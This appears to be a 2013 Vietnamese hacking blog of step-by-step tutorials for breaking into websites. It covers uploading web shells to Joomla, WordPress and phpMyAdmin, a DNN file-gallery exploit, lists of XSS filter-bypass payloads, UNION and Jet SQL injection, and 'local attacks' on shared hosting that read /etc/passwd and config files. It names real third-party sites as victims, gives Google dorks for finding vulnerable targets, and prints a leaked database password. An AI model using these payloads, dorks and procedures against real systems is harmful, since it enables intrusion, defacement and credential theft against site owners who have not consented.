Chủ Nhật, 31 tháng 3, 2013

IIS - Exploit



IIS Hacking là kỹ thuật hack website dễ nhất bằng cách upload shell lên hệ thống website. Hiện nay người dùng chủ yếu sử dụng hệ điều hành win 7, Vì vậy soleil sẽ chỉ demo IIS hacking trên win 7.


Bước 1: Vào My Computer, click chuột phải và chọn Add a network Location



Chọn Next



DNN - DotNet Nuke


Bước 1: Sử dụng google để tìm site chứa lỗ hổng DNN

:inurl:/tabid/36/language/en-US/Default.aspx
Inurl:”/portals/0” 

Bước 2: Chọn  1 victim bất kỳ, ví dụ:


Bước 3: Thay thế đoạn url sau:

/tabid/36/language/en-US/Default.aspx
Bằng đoạn mã url:
Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Lúc đó, đường link của victim như sau:

Thông tin thu được:



Padding Orale Attack





 
Kiểm tra lỗi Padding Orale



View source:



Chú ý đoạn code sau:
/WebResource.axd?d=OpduU2rj_NJHaBhjNiUZ7g2&t=634538991637902500" 


Bước 1: Chuẩn bị Tools

Trước tiên cần cài đặt perl:

Coppy 2 file  padBuster.pl và Web.config_bruter.pl sau vào ổ C:

padBuster.pl:
Web.config_bruter.pl:
pass unlock: soleil_vhb
pass giải nén: ceh.vn



[ Up Shell ]Up Shell Voi NuKeViet





Bước 1: Đăng nhập với quyền quản trị  

 





[ Up Shell ] Kỹ Thuật Upshell Đối Với Joomla P.II



Bài trước soleil đã đề cập cách thức upload shell đối với joomla qua thư mục upload ảnh.
 http://ducdung08clc.blogspot.com/2012/02/ky-thuat-upshell-oi-voi-joomla.html

  Tuy nhiên một số site bị cấm quyền upload hoặc bị chặn bởi file .htacess làm cho shell không chạy được hay  một số lý do nào khác.

Trong tut này soleil sẽ demo phương pháp upload shell bằng cách edit 1 file trong themes của joomla rồi thay thế bằng code shell.


Bước 1: Login với quyền admintrator:

username: admin       pass: soleil

Bước 2: Vào phần quản lý giao diện


Vào tap “Phần Mở Rộng”     =>   “Quản lý giao diện”.
Hoặc vào theo path mặc định của joomla:  administrator/index.php?option=com_templates


[ Up Shell ] Kỹ Thuật Upshell Đối Với Joomla P.I







Bước 1: Loggin với quyền admin:

admin / soleil




Bước 2: Thiết lập định dạng file cho phép upload

 Chọn  “Cấu hình chung” / “ Hệ thống” /“Cấu hình phương tiện”

[ Up Shell ] Bug Dork Upload Shell

B1. Sử dụng dork sau vào google

allinurl:"index.php?Act=Merchants"

B2. Chọn 1 victim bất kỳ

http://www.vhmnetwork.com/index.php?Act=Merchants

B3. Thay đường path trên thành:

http://www.vhmnetwork.com/admin/backupstart.php




[ Up Shell ] Up Shell Via phpMyAdmin

Bước 1: Tìm Path của document root

 + Thông thường vào link http://www.victim.com/xampp/  đê xem document root

Ví dụ: http://www.ehtpe.co.cu/xampp/



+ Vào Php infor() để xem path document root : C:/xampp/htdocs  

[ Up Shell ]Up shell đối với WordPress


Bước 1: Loggin vào với quyền admin


admin / 123456

Bước 2: vào plugins theo path:


[ XSS ] Kỹ thuật Bypass và phương pháp tấn công XSS

                       

               Trong bài trước Giới thiệu chung về XSS Soleil đã giới thiệu qua về cách kiểm tra, xác định 1 site dính XSS và một số thao thác thực thi trên sites bị dính lỗi . Trong bài này Soleil sẽ đề cập đến các kỹ thuật bypass và quá trình thực hiện 1 cuốc tấn công bằng XSS

     7.       Kỹ Thuật Bypass

                1 số site dính XSS không thể tấn công bằng những đoạn mã đơn giản, giải pháp nghĩ đến đó là phải bypass bộ lọc. Có một số dạng bypass đoạn mã script như sau:


       "><script>alert("Check By Soleil")</script>
"><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) </script>
'><script>alert("Check By Soleil ")</script>
'><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
     <ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</ScRIPt>
"><ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) </ScRIPt>
'><ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</ScRIPt>
</script><script>alert("Check By Soleil ")</script>
</script><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108) )</script>
"/><script>alert("Check By Soleil ")</script>
"/><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
'/><script>alert("Check By Soleil ")</script>
'/><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
</SCRIPT>"><SCRIPT>alert("Check By Soleil ")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))
</SCRIPT>">"><SCRIPT>alert("Check By Soleil ")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</SCRIPT>
</SCRIPT>">'<SCRIPT>alert(String.fromCharCode(67,104,101,99,107,32,66,121,32,83,111,108,101,105,108,45,86,72,66,32,89,104,58,100,117,99,100,117,110,103,46,48,56,99,108,99 ))</SCRIPT>
";alert("Check By Soleil ");"
";alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108));"
';alert("Check By Soleil ");'
';alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108));'
";alert("Check By Soleil ")
";alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) ';alert("Check By Soleil ")
';alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))

           Trong đó: 67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108 chính là chuỗi string “ Check By Soleil” ở dạng char.

       Ví dụ:

    -          Attacker có thể chèn vào thanh tìm kiếm site http://www.hanoi.gov.vn    đoạn mã script đã bypass sau:
<SCRIPT>alert(String.fromCharCode(67,104,101,99,107,32,66,121,32,83,111,108,101,105,108,45,86,72,66,32,89,104,58,100,117,99,100,117,110,103,46,48,56,99,108,99 ))</SCRIPT>
      Từ đó xác định site này đã chính lỗ hổng XSS và sẽ tìm cách để khai thác, chiếm quyền điều khiển đối với site này.



[ XSS] Giới thiệu Chung về XSS và Phương pháp kiểm tra lỗi




               Trong bài thứ nhất Giới Thiệu Chung Về XSS Soleil đã giới thiệu những nội dung chính sẽ viết, Ở bài thứ 2 này soleil sẽ giải thích rõ về XSS, phương pháp check site dính XSS và 1 số thao thác khi thực hiện tấn công theo phương thức XSS.

1-      XSS là gì ?

       XSS( Cross-Site Scripting ) là một trong những kỹ thuật hack website phổ biến nhất hiện nay bằng cách chèn vào url, chèn qua các thanh tìm kiếm hoặc chèn ở bất cứ 1 textbox nào những thẻ HTML hoặc những đoạn mã script nguy hiểm, từ đó chiếm quyền điều khiển của victim hoặc thực hiện những mệnh lệnh mà hacker đưa ra.


 
2-      Nguyên lý hoạt động XSS

       Khi website đã bị chèn các thẻ html hay những đoạn mã script nghĩa là đã gửi các request từ máy client đến server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Khi người sử dụng click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt được gửi về cho hacker qua email hoặc 1 file nào đó trên host đã được thiết lập từ trước hoặc bị dẫn tới 1 trang fishing mà hacker đã thiết lập từ trước hay bị cài đặt các chương trình virus, Trojan, backdoor trên máy victim tùy vào mệnh lệnh của hacker


3-      Phân loại XSS

XSS Có 2 dạng, đó là:

    +     Persistent 
+     Non-Persistent type


4-      Mức độ nguy hiểm XSS

   + Ăn cắp cookies, mật khẩu, cướp session làm việc
   + Cài các loại virus, trojan, backdoor trên máy tính victim
   + Deface website. Tuy nhiên nó chỉ chạy trên trình duyệt phía client và chỉ tấn công vào bề mặt website, không làm thay đổi cấu trúc mã nguồn, cơ sở dữ liệu của website trên server.


[ XSS ] Giới Thiệu Chung

Soleil sẽ góp 1 chút kiên thức về XSS cho ae tham khảo trong 3 bài viết. Bài đầu tiên sẽ mang tính chất giới thiệu. Trong quá trình viết có gì sai sót mong được ae góp ý.

Các nội dung chính:


1- XSS là gì ?

2- Nguyên lý hoạt động XSS

3- Phân loại XSS

4- Mức độ nguy hiểm XSS

5- Phương pháp check site dính lỗ hổng XSS

6- 1 số thao tác khi tấn công bằng XSS

7- Kỹ Thuật Bypass

8- Demo 1 số site dính XSS:

9- Quá trình các bước thực hiện tấn công bằng XSS


Trong bài 2, Soleil sẽ viết từ mục 1 đến mục 5 ^^

[ Up Shell ] Vbulletin Qua Database P.I



Khi thực hiện Local Attack đối với 4rum thì include shell qua database, là 1 kỹ năng không thể thiếu bởi vì thư mục Admincp thông thường không có mấy admin sơ ý đến nỗi quên không change path và đặt file .htaccess bảo vệ. Vì vậy phương pháp include shell database được các attacker sử dụng 1 cách phổ biến

Có 3 cách để include shell, hôm nay soleil sẽ giới thiệu cách thứ nhất.

Giả sử soleil đã có shell  1 site trên cùng server,
Với shell này ta có thể Local Attack sang forum: http://raoonline.net  và thu được thông tin config như sau:

$config['MasterServer']['username'] = 'raovat_forum';
$config['MasterServer']['password'] = '125254857'


Bước 1: Login vào cơ sở dữ liệu:




[ Local Attack] Các Phương Pháp Local Attack


 Để hoàn thành bộ tut Local Attack full, hôm nay Soleil sẽ giới thiệu bài 3, cũng chính là bài quan trọng và trọng tâm nhất trong Local Attack. Trước khi đi vào bài 3, các bạn có thể đọc qua và lấy 1 số tool cần thiết từ  bài 2 - Giới thiệu tính năng 1 số shell

      


  *        Nhắc lại trình tự các bước Local Attack

     1-       View danh sách các user trong server
     2-      Tìm  file config.php
     3-      Get thông tin login vào database
     4-      Crack hoặc change pass admin
     5-      Login vào quyên quản trị và upshell

    
     1-      View danh sách các user trên server

Muốn local được 1 site nào đó trên server thì trướ tiên cần phải xác định site đó có user là gì, source code là gì từ đó tìm cách đọc file config.php của user đó


-          Một số câu lệnh để get user:

Lệnh phổ biến nhất:
Cat /etc/passwd

Tuy nhiên một số server cấm lệnh cat, có thể sử dụng các lệnh sau một cách linh hoạt

Less /etc/passwd
./cat/etc/passwd
More /etc/passwd

Ngoài ra có thể sử dụng chức năng get user trên shell byg.php, c99.php hay bypass ở r57.php, soleil.pin, telnet.pl hoặc các shell sau:


Pass download: soleil_vhb
Pass dải nén: ceh.vn

 -          Câu lênh get user & domain

Cat /etc/virtual/domainowners  ( Chỉ dùng đối với direct admin )
               
      2-      Tìm file path file config.php

Đối với các mã nguồn mở thì path file config được mặc định như sau:
Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối với server linux, path là: /home/user/public_html

Thứ Bảy, 30 tháng 3, 2013

[Local Attack] Get all config toàn server





     -          Đâu tiên download shell get all config ( w.php)  về rồi up lên server.

http://www.mediafire.com/?hi4gnmu3kpxn095  ( pass unlock: soleil_vhb )







     -          Click vào done và thư mục có tên là tmp sẽ được tạo ra.

     -          Vào link của thư mục tmp sẽ có 1 số shell với các chức năng sau:

+             dz.sa : Đây là shell cgi, sử dụng nó để get các user trên server bằng cách thực thi câu lệnh: cat /etc/passwd, more /etc/passwd ( Pass login là: dz ).
+             user.sa : Shell này dung để xem danh sách các user và domain trên server.
+             config.sa : Shell này có nhiệm vụ thực thi get all config bằng phương pháp symlink


[Bài 2 - Local Attack] Giới Thiệu Tính Năng 1 Sô Shell


Nói đến local là nói đến shell, không có shell thì chỉ local bằng niềm tin. Hôm nay soleil giới thiệu một số loại shell thông dụng không thể thiếu trong local attack

Một số shell thông dụng:

 r57.php

R57 hiện nay đang là shell thông dụng, được sử dụng phổ biến nhất với hầu như là đầy đủ các tính năng.


c99.php


Nói đến r57 cũng không thể  không nhắc đến c99 với các thao tác có sẵn trên shell mà không cần phải sử dụng lệnh: edit, del, insert, drop… đặc biệt là có khả năng dump cơ sở dữ liệu

[Bài 1 - Local Attack ] Giới Thiệu Về Local Attack




    1-      Local Attack Là gi ?

Local attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server  với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng kỹ thuật Local.


 2-      Các bước thực hiện trong local attack

-          Xác định các website chung server với site mục tiêu.
-          Check qua toàn bộ server, xác định site có bảo mật kém có thể tấn công bằng các hình thức:
SQLI, RLI, LFI, XSS, DNN, IIS, Bugs, padding orale….
-          Up shell lên website có bảo mật kém
-          Local sang Site mục tiêu


SQLI - Bypass 406 Not Acceptable




      Trong các bài trước , Soleil đã giới thiệu các dạng attack cơ bản sử dụng phương pháp SQLI để chiếm quyền quản trị administrator: Khai thác đối với AspxKhai thác lỗi cơ bảnLỗi Jet. Tuy nhiên trong lúc khai thác, 1 số site đã chặn ở 1 vài querry sqli và không thể tiếp tục.
Hôm nay Soleil sẽ demo 1 dạng bypass “406 Not Acceptable” thông dụng thường gặp phải lúc khai thác đồng thời cũng pubic bug sqli đối với công ty thiết kế website “Viet Arrow”.

Google dork: Designed by Viet Arrow id=

Tất cả các website được thiết kế bởi Viet Arrow đều dính lỗi sqli, sau đây là 1 số ví dụ


Soleil sẽ chọn 1 victim bất kỳ để khai thác.

Trước khi vào bài này, có thể tham khảo qua bài 2 : Khai Thác Lỗi Cơ Bản

Bước 1: Check lỗi

Thêm dấu ‘ vào sau con số của đường link có dạng id=
 http://www.khaithong.com.vn/index.php?do=content&id=1
Nếu giao diện website thay đổi nghĩa là site đã bị dính lỗi sqli

SQLI - Khai Thác Đối Với ASPX



Bước 1: Check link lỗi


Đối với site aspx, ta thêm dấu  ‘ cuối đường link có các ký tự dạng ID=, Sp=…. Nếu thấy site xuất hiện lỗi: 

Unclosed quotation mark after the character string ''

Chứng tỏ site dính lỗi SQLI.
Ví dụ:     http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42’ 




SQLI - Khai Thác Lỗi Cơ Bản



Bước 1: Check lỗi:  

Thêm dấu sau đường link có dạng id=
Nếu giao diện website có  thay đổi. Chứng tỏ site bị lỗi.

Bước 2: Tìm số trường cột

http://www.shophangkhuyenmai.com/?frame=product_detail&id=1421 order by 1-- -   -> site bình thường
http://www.shophangkhuyenmai.com/?frame=product_detail&id=1421 order by 15-- - ->  Site vẫn bình thường
http://www.shophangkhuyenmai.com/?frame=product_detail&id=1421 order by 16-- -  -> Giao diện website thay đổi.

      Số trường  cột cần tìm là 15

Bước 3: Xác định vị trí trường cột bị lỗi

http://www.shophangkhuyenmai.com/?frame=product_detail&id=-1421 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -
Chú ý là phải có dấu - trước 1421 thì mới xuất hiện ra các con số đẹp.


Chúng ta chú ý sẽ thấy xuất hiện các con số: 2,3,6,15,7. Đó chính là những vị trí bị lỗi mà chúng ta có thể khai thác tại đó. Ví dụ Soleil sẽ khai thác tại vị trí thứ 2.


Bước 4: Xuất ra tên các tables trong database

http://www.shophangkhuyenmai.com/?frame=product_detail&id=-1421 UNION SELECT 1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()-- -

SQLI - Lỗi Jet


Trong bài đâu tiên vê chủ để SQLI, Soleil giới thiệu với các bạn lỗi Jet khá phổ biến

Đây là dạng lỗi SQL mà khai thác dễ nhất nhưng đòi hỏi có 1 chút kinh nghiệm trong quá trình khái thác vì phải đoán table và column

Một số dork dùng để tìm site dính lỗ hổng bảo mật Jet:

tintuc.asp?tin_ID=
chitiet.asp?ID=

Victim hôm nay soleil sẽ demo là:
 http://thanhancamera.com/news.asp?tin_ID=86 

Bước 1: Check lỗi

Thêm dấu’ vào cuối đường link url, nếu site dính lỗi sẽ xuất hiện thông báo như sau:
http://thanhancamera.com/news.asp?tin_ID=86

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'tin_ID=86 ''.
/news.asp, line 16